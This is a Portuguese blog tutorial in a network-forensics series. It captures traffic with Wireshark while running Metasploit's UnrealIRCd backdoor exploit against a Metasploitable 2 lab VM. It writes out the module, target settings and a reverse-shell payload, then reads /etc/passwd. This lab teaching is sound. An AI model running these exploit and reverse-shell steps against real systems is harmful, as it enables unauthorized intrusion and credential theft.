ANÁLISE FORENSE EM REDES (pt.2) – ANÁLISE FORENSE

Olá!

Bem-vindo a postagem 2 da série de postagens sobre análise forense em redes. Nessa postagem irei falar sobre a captura de tráfego de redes com a ferramenta open source Wireshark.

Anteriormente, apresentei a análise forense de rede. Agora, vou apresentar o Wireshark e mostrar um cenário prático de aquisição ou captura de pacotes de rede usando essa ferramenta popular e eficaz.

INTRODUÇÃO AO WIRESHARK

O Wireshark é uma ferramenta de código aberto para capturar, filtrar e analisar o tráfego de rede, instalado por padrão no Kali Linux. Wireshark é o sucessor do Ethereal.

Lançado originalmente em 1998, ele permite capturar pacotes em qualquer tipo de interface de rede, tendo privilégios de administrador e o suporte da placa de rede para farejamento (sniffing) de pacotes, também chamado de modo promíscuo (promiscuous mode).

Além de capturar, o Wireshark também é um analisador de pacotes poderoso. Suporta vários protocolos de rede. É baseado nas bibliotecas libpcap, da mesma forma que a popular ferramenta CLI TCPdump.

Para obter mais informações sobre o Wireshark, podemos consultar o site oficial: https://www.wireshark.org/

Vamos executar o Wireshark e a interface de exportações e recursos principais, particularmente aqueles relativos à captura de tráfego de rede.

COMO UTILIZAR O WIRESHARK PELA PRIMEIRA VEZ

Nesse blog foram postadas duas postagens referentes a ferramenta Wireshark anteriormente. Segue links abaixo para que possa estudar:

https://douglasmendes.code.blog/2020/02/16/como-usar-o-wireshark-pela-primeira-vez-pt-1/

https://douglasmendes.code.blog/2020/02/18/como-usar-o-wireshark-pela-primeira-vez-pt-2/

LABORATÓRIO

Vamos ver um cenário prático de captura da trilha gerada por uma exploração simulada de uma vulnerabilidade por um daemon Unix, o daemon IRC Unreal. Para fazer isso, usamos uma máquina virtual intencionalmente vulnerável chamada Metasploitable 2, que também tem esse daemon vulnerável exposto.

Esse laboratório é baseado em um teste efetuado com o Kali Linux em máquina virtual utilizando configuração de rede NAT (NatNetworking). Mas você pode testar também rodando o Kali Linux instalado direto na HD, porém utilizando a configuração Host-Only (mais seguro que em modo Bridge). Abaixo ofereço um link de um sítio que explica como configurar em rede Host-Only e um link de um vídeo no Youtube explicando como criar uma rede NatNetwork.

NOTA: É obrigatório seguir até o Step 4 do link que fala sobre Host-Only em ambas as configurações.

O Metasploitable 2 pode ser baixado desta página: https://sourceforge.net/projects/metasploitable/files/Metasploitable2/

IMAGEM: Do Autor

Após baixar o arquivo, lembre-se de dezipar (unzip) o arquivo. Na máquina virtual você vai utilizar o arquivo com terminação .vmdk .

Um tutorial sobre como instalar o Metasploitable 2 em uma VM de rede virtualbox host-only está disponível nesta página (Siga até o Step 7):

IMAGEM: Do Autor

Nesse vídeo você tem passo-a-passo como criar uma rede NatNetwork no VirtualBox:

Com a máquina criada e configurada no VirtualBox, abra-a. o Username padrão, e o Password são iguais: msfadmin.

IMAGEM: Do Autor

Agora executamos a ferramenta ifconfig para verificar o endereço IP associado à interface de rede da VM.

IMAGEM: Do Autor

Percebemos que o endereço IP é 10.0.2.9. Agora, na VM Kali Linux, abrimos o Wireshark com privilégios de super-usuário (comando sudo ou usuário root) e selecionamos a interface virtual do host eth0 (ou a que aparecer para você), em seguida clicando no botão Start.

IMAGEM: Do Autor

Agora abrimos o console Metasploitable 2 em um terminal no host Kali Linux executando o comando msfconsole com privilégios de super-usuário.

IMAGEM: Do Autor

Agora selecionamos o exploit a ser usado, usando o comando use. Selecione o exploit unreal_ircd_3281_backdoor. Comando ficará:

use exploit/unix/irc/unreal_ircd_3281_backdoor

IMAGEM: Do Autor

Quando selecionamos o exploit, podemos olhar para as opções disponíveis dos módulos correspondentes, com o comando show options.

IMAGEM: Do Autor

Notamos que a porta remota (RPORT) já está configurada como RPORT 6667 padrão, enquanto o host remoto (RHOST) não está configurado. Agora defiremos com o comando set. O endereço IP é aquele associado à interface de rede da VM, que é 10.0.2.8.

set RHOST {NUMERO_IP_DO_ALVO}
Nesse caso ficou: set RHOST 10.0.2.9

IMAGEM: Do Autor

Agora devemos escolher o payload que gerará a conexão da máquina-alvo até a máquina atacante. Existe uma grande variedade de payloads no Metasploit Framework, mas para cada exploit existe uma quantidade limitada compatível. E dentro desses que são compatíveis com o exploit, nem todos são compatíveis com as duas máquinas envolvidas, em termos de conexão. Para verificar quais payloads são compatíveis com o exploit, digite o comando show payloads.

IMAGEM: Do Autor

Para esse laboratório deve-se escolher o payload cmd/unix/reverse. Além disso, definir o listen address (LHOST) com o IPv4 da máquina atacante, depois utilizar o comando run (ou o comando exploit). Resumindo:

msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set PAYLOAD cmd/unix/reverse
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST {ENDEREÇO_IP_DO_ATACANTE}
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > run

IMAGEM: Do Autor

IMAGEM: Do Autor

O resultado é que a resposta à exploração sempre vincula o shell ao destino. Portanto, executamos o comando com o privilégio de root.

Por exemplo, poderíamos fazer uma listagem de diretórios e exibir o arquivo /etc/passwd começando pelo comando ls –l e em seguida aplicarmos o comando cat /etc/passwd.

IMAGEM: Do Autor

IMAGEM: Do Autor

Agora voltamos ao Wireshark e paramos de capturar clicando no botão vermelho STOP.

Como você pode notar, o Wireshark exibe a lista de pacotes de captura com todas as informações relativas no painel superior. Enquanto o painel do meio mostra os detalhes do pacote e o painel inferior mostra a exibição hexadecimal dos pacotes. Agora, salve o tráfego de captura em um arquivo de saída com o botão destacado na imagem abaixo:

IMAGEM: Do Autor

Eu escolhi o nome do arquivo como Captura_Metasploit e salvo no formato de saída padrão (pcapng). Você pode reparar que criei também um diretório (Wireshark_Capturas) para melhor organização. Importante que entenda que os nomes podem ser escolhidos por você de acordo com o que achar conformidade.

IMAGEM: Do Autor

Bom trabalho! Nesta postagem, apresentei o Wireshark e mostrei um cenário prático para capturar o tráfego de rede entre dois hosts na mesma rede.

Na próxima postagem, veremos como analisar o tráfego de captura de rede com o Wireshark.

Comente! Deixe seu like!

Até mais!

Um comentário em “ANÁLISE FORENSE EM REDES (pt.2) – ANÁLISE FORENSE

Deixe um comentário